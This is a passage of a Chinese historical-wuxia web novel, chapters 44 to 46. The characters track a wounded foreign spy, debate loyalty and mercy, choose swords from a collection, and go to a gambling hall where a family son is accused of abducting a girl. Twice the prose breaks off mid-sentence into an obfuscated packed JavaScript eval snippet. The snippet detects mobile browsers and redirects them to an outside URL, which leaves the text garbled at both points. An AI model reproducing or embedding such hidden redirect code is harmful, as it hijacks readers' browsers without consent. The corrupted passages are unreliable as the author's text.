“只要您没有灌错药,就一定靠谱,早试过了,因为那药没毒性,就算是有内力的人也无法察觉,而且很容易消化,一时半刻就吸收干净了,没法排出体外。”朱愈说。 “你找谁试的啊?不会是镖局那几个吧?那可算不上有内力。” 朱愈不答,抬头看了看罗易。 “嗯,那个,前几年给你喝过,挺好用的,你忘了?”罗易说。 “真的?”罗晏不仅没生气,反而有些愉快,抚掌赞叹道:“确实有这么一回事,我真没察觉,这么神!玉芝在此道上可谓是登峰造极啊!” “你没察觉就算登封造极?”韦祎抓紧机会挤兑。 “你不也承认了我是高手嘛?梦春。” 又提起了赵梦春这茬,韦祎先出手,用筷子和罗晏过了好几招。 “快吃饭吧,下半夜还有的忙。” 三日断肠散当然是扯淡来着,哪有那么神奇的毒药。 给芜夙喝的是朱愈调配的药剂,会在身上留下人类闻不到但是白鹰却能闻见的气味,药效持久,几个月才会散去。等会儿吃了饭,到了下半夜,就跟着白鹰追芜夙去。 罗易手下的这些人,之前给韦祎介绍过。 云栖负责青楼业务,松风管着客栈,璋之做地产生意。 朱愈是被家族带着投奔过来的,一家人专注药材买卖。秦琼管理来往账目,附带做罗易的管家。殷濯是罗易的一人之下,什么都要管,外加维护与官府的关系。 另外还有褚先生负责的镖局,罗易的主要生意就是这些了。 像成衣铺、香料行这些开着试水的小生意,都归秦琼,另外还有员工子弟私塾这种要持续投资的商行福利,也是秦琼的麻烦事。 除了松风年过而立,早已娶妻生子之外,秦琼和璋之都是二十几岁还没嫁的姑娘,朱愈和殷濯正冒充罗易的面首呢,都未成婚。云栖若是成婚还做青楼生意就太奇怪了,于是也未婚。 罗晏每次来这儿都要替他们大家发愁,大家共同指责他是五十步笑百步。 “子隽,你觉得如何?”罗易问。 “哈?”韦祎不知道罗易在问什么,生意吗?生意做的当然好啊,虽然背靠罗氏大族,但在竞争激烈的东海能做到这个程度可以说十分不错了。“很好啊。”他说,确实很好,没得挑,总不能说不好吧。 “你觉得还好就成,在我看来,这只是个开始。”罗易满意的笑笑,“我也觉得你不错。” “啊?” 这话题是怎么转变的?一块肉卡在嘴里不上不下,韦祎眼睛都瞪圆了。 44. 成本论 “别怕,喝汤。”罗晏动身去盛汤,为了夜宵杀的一只鸡,剥下鸡皮用来煎底油,剩下的部分就扔进砂锅炖了汤。“这里面可没茨菇了,放心。” “我有什么好怕的?”韦祎嘴硬,接过了汤碗,喝一口顺顺气。 “我以为你要怕小易悄悄把你给办了,不认账。”罗晏说,“你看,你的脸都吓绿了!” “脸绿是吓得吗?我都绿了一天了!” “要不我们交往试试?”在旁微笑的罗易发问。 一口汤呛进鼻子里,上气不接下气咳了半响。 宵夜吃这么丰富是为了熬夜,晚餐时大家都忙,府里又把厨子们给拘了,于是吃得很简单,还是大闲人韦祎去蒸了饭,在坛子里捞了两颗酸萝卜做汤煮了鱼丸子,再切一盘泡菜、蒸一盘腊味充数。 大家没好意思告诉他酸萝卜没洗好,做成的酸汤有些酸过头,不过韦祎自己吃得出来,调羹进口,鼻子眼睛都酸得皱在了一起。 夜里吃这么多,权当补偿。 吃好喝好,又该干活。 朱愈可没办法在房檐上高来高去。于是,和罗晏结怨颇深的那只白鹰此时又停在他的肩膀上,小脑袋四下转动,不时地扑腾着翅膀。罗晏偏着头防止被翅膀弄乱发髻,可白鹰脚爪抓得极稳当,是不会被罗晏赶下去的。 “你确定还要戴斗笠?”罗晏看见韦祎又拿来了一顶新的轻纱斗笠。 “不戴怎么办?要出门。” “如此注意外形?” “为了捡斗笠都变成赵梦春了,又不戴,岂不是白白当一回赵梦春?”韦祎想起来刚才大脑短路。 “因为无法放弃已投入的成本所以要白白投入更多。”罗晏从技术上分析了这种行为,评价道:“有意思。很多人都是这样破产的。” “闭嘴吧你。” “怎么不顺便换一身衣服?怕当赵梦春怎么不怕被人当作断袖?” “断袖怎么了,怎能歧视断袖?断袖没偷没抢的。” “哦?!你今天很不一样啊!” “我平时也没有歧视断袖。” 罗晏盯着他上下打量。 “行了行了,我没衣服可换!”韦祎把他推开,自己原本的那些深色衣服已经被罗易弄得彻底找不见了,“不然才不会和你穿一样的!” 白鹰展翅高飞盘旋,房檐上两个人随即跟上。 “这么近。我还想着若是在城外藏身,可要回去骑马。” 眼前是一幢有些破败的小院,门上挂着廉价出租的字样。 院里显然有人住的,因为这过了午夜的空中,竟然飘着一点,烙胡饼的特殊香气! “要不是因为刚吃饭,真的会饿。” 任务完成,白鹰一刻也不想多待,直接转弯飞回罗宅去找朱愈。 扒着房檐看,小院里都是黑的,唯有厨房亮着一盏豆大的小灯,没生大灶火,只点了一只小碳炉,上面架着锅。 旁边是一整盆醒发好的生面。一个个子不高、穿着一身黑色夜行衣的小姑娘此时拆了蒙面巾,两只袖子挽起来,受伤的那只手已经包裹了纱布,只用另一只手在揉面。 擀成饼,两面拍上芝麻,放在锅上烙。 锅小,一次只能烙一个饼,于是烙好了一个便盛出来放在一旁,再接着擀下一个。 借着一盏小灯的光亮,能看见芜夙有些卷曲的额发都汗湿贴在了额头上。 “看来她这是出发之前和好了面,醒发了,回来才赶得上烙饼。”罗晏新钻研的束音成线派上了作用。 “能行吗你?”韦祎很不放心的看一眼,“别等会又呕了。” “不会,天才如我,已经完全掌握了!” “呵。” 不知为何,旁观此情此景,竟然有些令人动容,多么热爱生活的敌国间谍啊! “这都带伤做饭了,不像是还有同伙。” “不一定,她自己吃,用得着烙这么多饼?瞧她的身量,吃一个尽饱了。” “胡饼能存放半个月不坏呢,你指望她天天生火做饭啊?”罗晏说,“他们西域人都是一次做好多存着,不过我看她这次是要白费功夫了。西域那边濒临沙漠,极其干燥,所以做了不会坏。东海这里临海,湿气重,没几天都得长绿毛。”摇摇头,颇感惋惜。“说正事,若是她真没杀周将军,周将军就在这屋子里,你救不救?” 韦祎沉默。 在军中,只要犯下了叛国之实,一律死罪难逃。 若他是被冤枉的、或者只是被抓了,都没什么大不了,韦祎都可以给他糊弄过去。可他对敌人供出来主将的弱点,甚至已经导致主将中招倒下。 什么是背叛之实据,这就是背叛的实据。 并且,芜夙此人,一眼就能看出是来自西域。就算她一直蒙面,瞳仁、头发、肤色、口音都能说明她并非大齐国人。 可周冲是不是情有可原?韦祎想着,一来是因为自己交托了不太靠谱的任务,二来这人实在是个很容易被威胁的存在。 同时,让人犹豫的还有,就算现在救了他,也很容易运作。 只要当事几人都不说,没人知道发生了什么。 若是救出来,韦祎只要写个折子,让当地官府派人送他回京城,他甚至能因为公事致残得到抚恤金,平调一个管仓库、管草料场的轻松岗位。不用上战场冒险杀敌,甚至不用再经受巡街、守城门、操演之类的劳累事,后半生惬意度过。 但他确实叛国了。 救了他,再帮他掩盖事实?这不对,韦祎干不出来这事儿。 救了他,放他走,就此亡命天涯,有家不能回?这是个让自己里外不是人的坏选项。 “喂!”别发呆了,芜夙姑娘显然没同伙。” “怎么用上尊称了?”韦祎和罗晏松开扒着房檐的手,落到地上,站在附近的隐蔽处。 束音成线用多了终究会勾到舌根恶心反胃。刚才差点吐在人家房顶上,得下来找个能说话的地方。 刚才下来时,正落在小院主卧房的房后,黑夜里,看见后窗的窗台上又放一瓦罐,盛水,供了好几只嫣红的杜鹃。 “这东西在官驿的天字一号房也有。”韦祎陈述。 “芜夙姑娘是一位爱花之人呀,”罗晏感叹道,“纵使独身在他乡,有花有酒,妙哉妙哉。” 韦祎隔着斗笠的纱帘瞪他。 “天字一号房你说了,只有一个人入住,此处也只有她自己。若是不救周将军,我们就冲进去,把她给抓了?” 迟迟不动。 此时已经给这位西域姑娘灌了追踪的药物,若她再次靠近,白鹰会示警。这药效管几个月的用,时间足够把云攸纾送出国境。 按照她的说法,她想要的东西是国书。 那玩意韦祎都没看过,封在几层盒子里,锁在军中重重把守,她是绝对拿不到的。 所以,还用得着把她抓了吗?一个在夜间行动之前和好发面,受伤回来了就包扎一下伤口开始烙饼的小姑娘。 “傲慢。”罗晏一拍韦祎的肩膀。 “什么?” “是不是觉得此时一切尽在自己掌握,反而在对、错上有所动摇?”罗晏乐见韦祎纠结来着,“这不叫恻隐之心,这叫傲慢。” “是吗?”韦祎也撇嘴,“呵!我以为你想这老半天要夸我善良呢,那我就傲慢了,回去睡了。”拔腿便走。 “韦将军啊韦将军,你哪里善良了?善良如何为官为将?又不是你前天在船上杀人如杀鸡的时候了!现在这可不是个好开始,以后这样的时候多着呢,时时如此纠结,会提前进入中年开始发胖!” “我怎么杀人如杀鸡了?我从来没有一次杀过那么多鸡!一次给一只鸡拔毛就够烦的,多杀几只可还得了?” 罗晏想起来拔鸡毛,他也不喜欢拔鸡毛,热水烫死鸡,气味实在是不可言喻。 就这么放任不管,实际也在于,韦祎对于防刺杀还有些自信,在金吾卫时是他工作最为热情的一段时间,没少研究。 回去布置一番,想防是防得住的。 傲慢,这真的是傲慢吗? 不傲慢的做法是什么? 把周冲抓了,就算他已经死了也要找到地方挖出来,递折子进京说这人叛国,挫骨扬灰?连带着气死他老娘?再把这位热爱生活的间谍姑娘抓了,交送密探,受尽拷打之后再死? “这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14375539|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫不通情理的酷吏。”罗晏说,“一般这种官吏最终都会被自己蠢死。” “哦?那你倒是说说怎么做?”两人慢慢走回罗宅。 “你学学平焕,什么对你有利?” “没有什么对我有利的。”韦祎想了想,“你不觉得平焕的做法才不怎么聪明?”人人都想拉拢,想搅混水,最终只会把大家都推向对立面去。 “他可比你干脆多了。” “我现在非常干脆利落的认为什么都不做才对我最有利,行了吧?赶快回去睡觉!” “若是三日后她真的把周将军放了,你要怎么办?” “她不会,她知道周冲不是好筹码,会再找更有价值的筹码。不是平焕就是逸希,她不会挟持平焕,还要留着他偷国书呢,就只剩下逸希。所以,得赶在三天内启程。” “你真是想逃避到底啊。”罗晏摇头叹道。“希望芜夙姑娘不要因为抓不到小易就去东宅把七叔叔抓了当人质,那还真要好好考虑是救还是不救了。这情况我就难办了,我也得快些启程。” 罗易这家庭环境是怎么一回事? “我之前给你讲了,她家老二,就是她弟弟,十岁时打死了人,按律法要她爹顶罪。她家花了大力气上下打点,生意也做不成了。她爹娘受了苦,缠绵病榻,落魄了几年,小易不喜欢这么等死,又一手一脚地把家业捡了起来。” “这段我记得,然后呢?” “然后生意好起来了,有钱调养,她爹娘身体强健起来,她二弟年纪渐长,俗话说这吃饱了、身体好了,当然就想些有的没的,就偏心儿子嘛,让小易带着老二一起做生意熟悉熟悉,将来老二好接手。” “什么东西?”韦祎想,这家人可真是恬不知耻。 “哈哈,小易才不愿意的,两伙人就这么斗着,要说那道墙,也怪我。” “你砌的?” “不是!我多么温和啊,怎么会干这种事情?” “呵!是谁从和我一起从徽州大宅逃出去来着?”谈到反抗家长,罗晏可是直接不辞而别离家出走,罗易只是砌墙而已! “我和我爹娘一直打算着,不要依赖血缘发展,是不是草包和血缘、男女真的没什么关系,只有广纳贤能,不拘一格,才能长久持续嘛!以史为鉴,家天下的大周最终不还是亡了?不过我家还有别的老古板,坚决支持要嫡长子继承呢。” 所以东海的罗家分支适逢其会,罗易又是分外出挑的,就成了焦点。 老古板们支持罗易的弟弟继承家业,族长一派支持罗易继续主持大局,斗争升级,双方都有后台支撑,于是越斗越烈,再加上罗易的生意越来越好,她爹娘、弟弟们都眼红着呢。 又一次纠纷之后,罗易命人砌一面厚厚的墙,将宅院东、西分开,从此如若两家人一般。 罗易也说了,其实这决定并不好,砌了墙,虽然眼不见心不烦,但打探消息都要费力许多。那会儿年纪小,冲动,一气之下就让人砌了,砌都砌上了,不好意思给拆了,就这样吧。 “所以呢?”韦祎问。 “所以我这个少主坚定不移地支持小易赢得这场斗争,给她提供能提供的一切帮助。” 所以我是被他提供过来的帮助吗?韦祎想到。 “对,不用怀疑,官家一出手,就知有没有,如果你加入战局,这个游戏就不公平了,就算你不插手,有官家站在这边,小易输是不可能输的,就看会怎样结局吧。” “怎么说都是家人,输能如何输,能把家人逼迫致死不成?”若是真的逼得狠了,不免要有世人指摘罗易不通礼义、心狠手辣。反之,若下手不够狠,打虎不打死,更是要引起反噬,后患无穷。 “这就是你和小易的事儿了。” “我好像还没加入进去。”这是派系斗争啊,韦祎不想沾上。 “很快了。”罗晏胸有成竹。 折腾到此时,再不回去睡了天都要现鱼肚白,回去洗漱,发觉敷药一天要弄两次,第二次还没敷,于是只好坐着敷药,瞥见罗晏卷了那本正在画的册子悄悄逃走。 想起赵梦春,自己没法睡觉,画了赵梦春的人也别想睡,把罗晏捉回来,盯着他重画那几页。 45. 君子剑 第二日,韦祎睡到日上三竿才起来,其实是天边泛白时才真正睡下,睡着了还要留着警醒在,真的不如吃茨菇昏过去舒服。 睁开眼来,摸一把脸,摸着手感竟然有些惊喜,似乎是已经消了肿,顿觉兴奋。便不再躺着了,掀开被子下床去铜镜前照,果然是已经恢复了面貌。 “这药剂倒是比京城时郎中开的药更有效,回头得要一份方子。”除了摸起来有些麻,有些泛绿色之外,已经全好了。 “韦公子可醒了?小人等伺候您更衣洗漱。”片刻后,有人敲门。 一连四个只有十五岁的小厮排队走进来,分别捧着衣裳鞋袜、水盆毛巾、漱口的茶水和青盐、早饭的食盒。 “不必伺候,放下即可。” 几个小厮不多做纠缠,留下新的衣裳鞋袜,收走昨日换下来的一身,放下一应物品,利落地退出去关上门。 翻着新送来的衣裳想着,罗易家十分周到,还给客人备上全新的睡衣。平时出门在外,韦祎不挑,懒得带睡衣的时候就直接穿着衬衣衬裤睡了,住罗易家里可比住在客栈好太多。 一边用青盐擦着牙,一边掀开食盒看看,又是东海特色!一小碗鱼圆汤、一小碗鸡丝干贝粥、一碟香芋猪柳、一碟耗油菜心、一碟肉包,仍旧怕下毒,附带银筷银碟。 所谓大齐饮食,脍不厌细,在东海体现得淋漓尽致。 估计着,罗易家也不是找到新厨子了,这早点应当是直接从附近的大酒楼里端来的。 数一数,汤里有三个鱼圆,那粥也就能吃几口,装猪柳和菜心的两个碟子比手掌还要小点,肉包直径二寸,一碟三个,皮薄如纸。 总之是非常精致的一餐,但吃了这几天以清淡闻名的东海菜,韦祎有点想念京城小摊的麦香烧饼夹香辣烤肉了。 烧饼夹烤肉才十来个铜板,这一餐估计值三百个铜板!自己真不是富贵胃口。 看着早餐没食欲,就先去换衣服,经历了前两套衣服,这换衣服也和拆暗器心情差不多,十分紧张,不知道碰了哪根弦就要弹出飞镖来。 今天竟然有得选,送来了两套,一件是黑底橙花的胡服,另一件是浅绯色的广袖儒衫。 盯了半响,哪一件都不想穿。 先排除胡服,韦祎不喜欢那花纹风格,只要有得选,不用光身子就不穿胡服。且军中风气沾染,忌讳穿外族服饰,即使胡服已经成了东齐日常服装,也不穿。 另一件衣裳,仍是罗易喜欢的浅色,浅到近乎白色的绯色。色泽温和,儒衫的样式时兴。不过,韦祎不习惯浅色也不习惯广袖。 既然排除了胡服,只能穿了这一身。 看旁边,竟然还有新的发冠送来,样式十分时兴的一只银冠。再看看,不会扎这种冠,只能再次戴上那只羊脂白玉簪子。 好,不知为何,在有多种选择搭配的情况下,韦祎按照罗易的喜好给自己配了一身。 吃了早饭,喝茶漱口。在房内踱步一会儿,不见有人来敲门,心中有些疑惑,于是走进院中。 住的这地方位置不错,紧挨着罗易居住的主院,也是一方规整的大院。 云攸纾官衔最高,住大正房,韦祎住在东侧,罗晏住在西侧。 平时罗晏这个少主来了就是大贵客,要住正房的。这回不同,比云攸纾是比不过,和韦祎比,韦祎是外客为贵,所以也压了罗晏一头。 虽然秦琼把客房位次布置得谨慎,但这三位贵客没有一个在乎的,要不是韦祎今早得闲,都看不出来。 “壹通,我进来了?”韦祎去敲敲门。 “进。” 进屋去,罗晏在给他自己梳头,正摆着一个诡异的姿势,没得空看韦祎。 “要帮忙吗?”韦祎看他的姿势也够难受的。 “不用,我这头发还想留在头上呢。”罗晏嫌弃地拒绝。 这位是先吃了饭,才梳洗。桌上已经摆着残羹,瞄一眼,果然是一样的。 “今日倒是分外安静。” “也不看看现在都什么时辰了,再过一小会儿该吃午饭了,肯定都在忙着做事。怎么,没人在你面前献殷勤,不习惯了?” “没人在我面前晃着,总觉得要出事。” “说的也是,平焕醒了没?” “醒了,他起的早,一个多时辰前我就听见人给他送早饭。吃了早饭,又安静了,不知是不是回去睡了。”韦祎说。 罗晏闻声抬头来看,“你是又没怎么睡啊?我看看你出黑眼圈没。哎?你今日竟然就消肿了。” “只是染了绿色没褪。”韦祎想,要不是这绿色,出门就不用戴斗笠了。 “隔了一夜,看不出来绿色了,你能看出是因为你自己心里知道。我看着倒和常人无异。” “我信你就有鬼了。”韦祎微笑。 弄好了自己的头发,整理一番,又是一位衣冠楚楚的公子哥儿。 见罗晏今日穿的是灰紫色,韦祎纳闷,“平日不见你穿这样沉稳,为何他们给你备颜色深的衣裳,给我穿浅色的?” “小易顾不上这事儿,估计是符怜手下的人准备。你是小易的新欢,自然是按照小易的标准来弄,我是少主,给我备颜色轻巧的衣裳,怕我不满,觉得东海不尊重我,于是就这样了,给我穿颜色深的。” “这都什么弯弯绕。” 二人一边说一边出门去,本打算着去叫云攸纾。却见秦琼独自一人过了院门匆匆走来,看来是走得急了,竟然有些喘。 “符怜。”罗晏向她点头示意。 走到近前来,“抱歉怠慢了贵客,前面忙呢,我才得空,想着无人作陪也不好,就赶过来了。”秦琼笑道,“顺便给韦公子把药拿来。韦公子恢复得不错,看来是不用敷剂了,喝汤药便好。” “多谢。”韦祎接过来,仰脖子一饮而尽,然后拿起一旁备好的茶汤漱口。 “小易在何处?忙着张罗出门?还是去东宅探病了?”罗晏问。 秦琼笑笑,想了想才说:“小姐本是忙着安排事务,不料外头出了事。半个时辰前,有人来请小姐去,小姐只好去了,还未回。” 出事?赶在韦祎喝药时说,可能是故意想看他呛。 “出什么事?”韦祎正咳呢,罗晏负责交流。 “其实是二少爷出事了,小姐本不想管,奈何涉事的另一方是贺老板,一向和我们生意上有往来,从前也和少主见过面的,不知您是否有印象?” “喔,我知道,那个贩煤炭、铁材的贺老头。” “就是他。二少爷和贺老板家的公子,还有另外几个公子出去玩耍,贺老板的公子带了自家亲妹妹一起出来见见世面,谁知这一转眼的功夫,贺小姐便不见了。正巧,咱们的二少爷一向对这位贺小姐有些意思,从前言语上多有轻薄,人一失踪,在场的二少爷就被人家给揪住了。” 秦琼神情颇有些复杂,从内部来讲,大家都乐见东宅的人出事,但是外人看着,他们罗氏又是一体的,二少爷出事难免要破坏生意上的关系。“更巧的是,二少爷还有殴杀人命的前科,既然都能殴杀人命,强抢女子不是不可能,第一个就要怀疑他。放他走,贺老板也不依。” “走,去看看?” “嗯……” 看韦祎犹豫了,罗晏向他介绍:“这贺老板的烧碳厂、矿场在北燕的边境附近,每年有半年的时间在边境上搞生产,入秋了就运到京城和东海一带来贩卖,顺便在东海过冬,第二年春天再北上边境。小易这里的产业每年冬日用碳量不小,尤其是开着客栈。北边的木头好、炭火好,瑞木碳、红炉碳什么的。从前我在东海遇见了他,北上时正好与他同路,在边境上参观了他的矿场呢。” “北燕?”韦祎提起精神来。常住北燕边境的人,在这个时候出了事情,那可不能放松警惕。 “说起贺老板,他祖上倒是北燕的人,经商的,来了我们大齐,娶了东海女子,才成了齐国人,听说他家在北燕还有住宅和亲戚呢。”秦琼补充道。 而且,贺姓,确实是个北燕姓氏。 “走吧,去看看。把平焕叫上一起去?” “当然,咱们去哪儿他去哪儿,把他当件衣服一样随身穿着才方便。”罗晏打量一番韦祎,“说起衣服,我怎么记着,除了你大婚的礼服,今个儿是我第一次看见你穿广袖的衣裳。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14385187|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没那么夸张。我上朝的那一件朝服也是广袖的。” “哦?你用上朝吗?” “不用。” 那真是第一次穿广袖,韦祎的动作都变得奇怪了。 “不妨多试试,袖子里能藏不少东西呢。” 回到了房里拿出门要用的物品,韦祎想把短剑戴到腰带上面去,要先画圈晃胳膊,让袖子卷到手臂上,才能动作,实在不适应。 “你现在是要出去见人的,不太好吧,堂堂大将军应当佩长剑,这个短剑形如匕首,匕首、鄙者也。” “有两个问题,我用不惯并且我没带来。” “你把短剑藏在衣摆下面,不耽误你用。” “之前少主收藏的几柄长剑仍放在库房里,我家小姐本想留着送人,没送出去,韦公子您尽管挑那顺眼的用。”秦琼已经叫小厮去取来。 都叫人取了,没法拒绝。 “多久的事情了,还没送出去?”罗晏问。 “看着挺好的东西,送给那些用都不会用的人,糟蹋,不如留着。”秦琼苦笑。 罗晏点点头,反正他倒垃圾是倒出去了,可管不着别人怎么安排。 也没听罗晏的,把短剑藏在衣摆下。韦祎试过了,扯住袖子、掀开衣摆再拔剑,衣摆一定会被短剑割到,算了吧。想了想,仍旧拿了甩手刺绑在腿上,不带顺手的武器实在没有安全感。 趁着等小厮取长剑的时间,三人一同去正房,叫云攸纾。 云攸纾顶着两个比韦祎还严重的黑眼圈开了门:“什么事啊?!” “我们要去帮小易,你去不去啊?” “逸希姐姐发生什么事情了?”云攸纾黑眼圈里的大眼睛滴溜溜地转。 “有人找她麻烦。” “你也去吗?”云攸纾瞪着韦祎。 “去的。” “那我也去。”云攸纾立刻做出了决定。 关上门,三两下整理好服饰,“好了,我们怎么去啊?”却见众人都已经站在院中,背对着他,讨了个没趣儿,气呼呼也走过去。 一排站了八个家丁,每人手里抱一花色各异的长条匣子,匣盖打开,现出八柄宝剑来。 有的是宝石镶嵌在剑鞘剑柄上,太阳照射下折射出的光线刺眼睛!映衬得剑盒里面五光十色熠熠生辉。还有一柄大长剑,足有两臂多长,以韦祎的身高臂展,都没办法单手把剑拔出来,更不消说别人了,估计这应该是给魏国公那样的巨人使用的。 “怪不得送不出去。”韦祎看罗晏一眼,这是从哪里找来的奇怪东西? 当然也有素净的。 最左边躺一柄。比普通的剑稍微长一点,鞘和柄是乌木,乌木上刻着交叉的凹槽,用暗红色丝线缠绕在凹槽上,乍看没什么特别,细看则严丝合缝,竟然找不到丝线缠绕的头尾来,这岂不是传说中的天衣无缝? 剑与剑鞘卡得很紧,非要用力才能拔动。 不轻出,是柄合格的君子剑。 拨开一寸,亮出剑锋来,刃是暗色金属,未有寒芒,却能让武者感受到其锋利非常,全拔出来掂量,重量也算合适,通体没有篆刻任何文字,不知是纯粹的实用派,还是未来得及篆刻。 “就这个吧。”不再看其他的,将这一柄悬在腰间。 “这一把好像没名字,要不你取一个?”罗晏努力回忆,“这不是别人送我的,似乎是我在哪个古宅还是古墓里面拿的。” “拿?”韦祎震惊,盗墓就盗墓了,不问而取啊!“拿”算个什么?“我带着它,是不是有可能被失主找上门来?” “不会不会,我一定有焚香祝祷告知过原主人。只可惜不知此剑之名,你取一个吧,取了名就是你的了。” “我不。”韦祎断然拒绝。 “平焕也挑一柄吧?”罗晏转而招呼云攸纾去,“你看这一柄如何?” “太花哨了!”云攸纾对满眼宝石不屑一顾。他看上的是那一柄镂空云纹的青玉鞘、青玉柄的剑,看起来极为雅致恬静,抽出剑刃来看,明晃晃银灿灿。 寻常剑都是木头做剑鞘,怎么都不会有极具质感的雕刻,此剑一看便不凡。 46. 得利者 云攸纾拿起了这一柄青玉云纹剑,接剑的手都向下一坠:“好沉!” 是,玉石的重量一定比木头要重得多,而且没有韧性,易碎,雕刻了镂空花纹就更易碎了。显然,制作这柄玉剑的人也没有想别的办法减轻重量。 韦祎拿来掂量了,不仅是剑鞘重,剑刃本身也比普通的剑要重很多,似乎是故意的。 在韦祎和罗晏的眼里,这一柄实在是过于不实用,更像是礼器。 若说是礼器,却又开了锋利的刃,越发无类可归。 镂空的青玉剑鞘并不能保护好里面的剑刃,一旦风吹雨打,很快就要锈蚀。 再者,若非好武者,承担不起这剑的重量,可好的武者又怎么会挑如此不实用的剑? 实不知此剑意欲何为。 “你若想用,看这一柄如何?”韦祎给他挑了一柄相对短一点的轻剑,既然是罗晏的收藏,必然也是好剑,一看剑刃、便知道是可遇不可求的极北寒铁,浸血而不锈,柄和鞘是老桐木,经久而不朽,只是没什么装饰。 极北寒铁太难得,可能是极尽了所有材料,只能制成这个相对短些的轻剑。 不过这没关系,足够锋利、足够轻灵,缺陷也能变成优势,适合云攸纾这样年纪尚小,身量还未长足的初学者。 “这个剑好吗?”云攸纾迟疑着问。 “无非好不好,适合即可,你会用吗?” “只学过一套剑操。” “那就是不会用。没事,你可以直说。”韦祎摊手,“又不是什么丢人的事情。” “贵为……竟然连基本的武术都不会,怎么不丢人?”云攸纾一手拿着一柄剑,皱起眉来,意图把两支剑都扔回匣子中,哪个都不要。 秦琼出来适时打断,“依我之见,平老板就先拿着寒铁剑练习,等力气见长,再用青玉剑,两柄都留着。”话毕,挥挥手让家丁们迅速关上匣子撤走,根本不给云攸纾反对的机会。 马上,出馊主意的人出现了:“你教教平焕,要一起西去,得走上几个月,足够学会基本功了!” 罗晏好脾气地帮云攸纾将寒铁剑套上皮扣,给他挂在腰带上,“你用手这样扶着,就不觉得坠了。”罗晏指导着,又把青玉剑交给秦琼,让她放到屋里去,三人就这么直接出发了。 因为去到事发地只要走上一刻钟,没有骑马。 走在路上,云攸纾突然问:“你要不要教我?虽然你教我,我也没有报酬给你!” “要什么报酬啊?子隽你教会了他,他能防身,可以给你省心。”罗晏继续帮腔吹风。 韦祎沉默,还教别人呢?自己的儿子都没打算亲自教,自己用武还成,但是无论是造诣、经验还是德行,都远远没有达到能当老师的地步。 “你莫不是想让我拜你为师吧?” “不不不,可别。”想了想,实在没什么拒绝的好理由,“我也没有剑谱,你也没基本功,要怎么教?容我考虑考虑。” “好吧!那说定了,你要教我啊!”又强调。 等到时候教他几招简单的防身术,糊弄过去便罢,或者转移注意力让他练习弩箭也可以,答曰:“行吧。” 云攸纾满意了。 “壹通,逸希的那个二弟叫什么?” “瞧你这说的,小易的二弟也是我堂弟啊。” 要不是罗晏说了,韦祎还真没意识到这位二弟也是罗晏的堂弟,“噢,说的也是。” “叫罗曧?罗曏?还是什么来着。”罗晏也不确定,不太愿意去好好想,“可能是她家老二叫曧、老三叫曏,也有可能反过来。” “竟然是生僻字。”韦祎说,“我还以为依照这种人的性格,会配一个昊字或者晟字昶字之类的。” “是吗?依我看他们这种该起名叫旮旯。” 原来从日字旁的字,还有旮旯这样意义不大好的。 三人走在路上也没忍住笑了两声,想象一个肆无忌惮的恶少爷,能在街市上殴杀人命那种,趾高气昂大喊一声:“谁敢惹我罗旮旯?!我要了你的命!” “我都没用昊、晟这种字,他们怎么敢用?”罗晏笑毕,不屑地哼了一声。 “何出此言?对了,你是长房长孙。” “准确的说,是长房嫡长孙。我爹娘只生了我一个,我祖父和我的祖母们可生了二十多个儿子十多个女儿呢!”罗晏继续哼声。 “看来这是物极必反。” 爷爷生了太多,于是嫡长子只不情不愿生了一个,生了都不愿意养,远远送走。 到了孙子辈,连结婚都不结婚了! 想起昨晚的对话,“谁跟我说要反对嫡长子继承制来着?你就是嫡长子继承制的既得利益者。” “这正是有趣之处。往往只有得利者才有能量去改变现状,然而大部分得利者都不舍得丢了自己的既得利益,所以最终家族衰落、王朝更迭。” “嗯。”韦祎答。 “对啊,罗大哥说的对。”想起自己的经历来,云攸纾恍然大悟,抚掌应和,一时感慨万千,积压的委屈都快要喷薄而出。 韦祎不回应,因为他知道罗晏正经不过两句话。 果然,此人得意洋洋摇扇子道:“只有我这样高尚且不顾个人利益的英雄人物,才会带头倡议变革。”随后,一指面前这座棋室,“就是这里。” 云攸纾刚才的感慨像是吞了苍蝇。 棋室听着高雅,但在大齐国的纨绔圈子里,下棋博弈是什么?是赌。 这儿是小赌怡情,还需要几分智力,另外有马场赌赛马,更恶劣些的还有猎场异兽园赌斗兽,最恶劣的是瓦舍武馆里赌角斗。 以上几种情况,在城防军供职的韦祎都去抓过。 开赌场,要报备、要交重税、还要有专管此事的小吏去对点监管,全齐了才能开。所以,以上几种情况,大概率违法。 尤其是赌角斗,不死不休。 常有人从外国买来奴隶去斗,这就是殴杀人命外加触犯《废奴律》再加上非法开赌。 这种事儿,抓起来无穷无尽,春风吹又生,抓人的流程驾轻就熟。 因此,看到自己站在这地儿,韦祎十分想一挥手说一句:“围起来,守好前后门,见一个逮一个。” 一看身后这两位,一个矮矮的满脸紧张,正努力握住新佩剑,另一个一副没正经的坏笑,反而像是来赌的。 “对了,你为何不佩剑?” “怪沉的,谁耐烦带。” 云攸纾正觉得这寒铁剑虽然是轻剑,却因为自己没有佩剑的习惯,仍然觉得沉、坠,整个人都不平衡了。 原来劝自己佩剑的这一位也嫌剑沉! 罗易就站在大堂里,挂着一脸假惺惺的急切情绪,身后站着几个随从,看衣裳都是主管往上的级别。 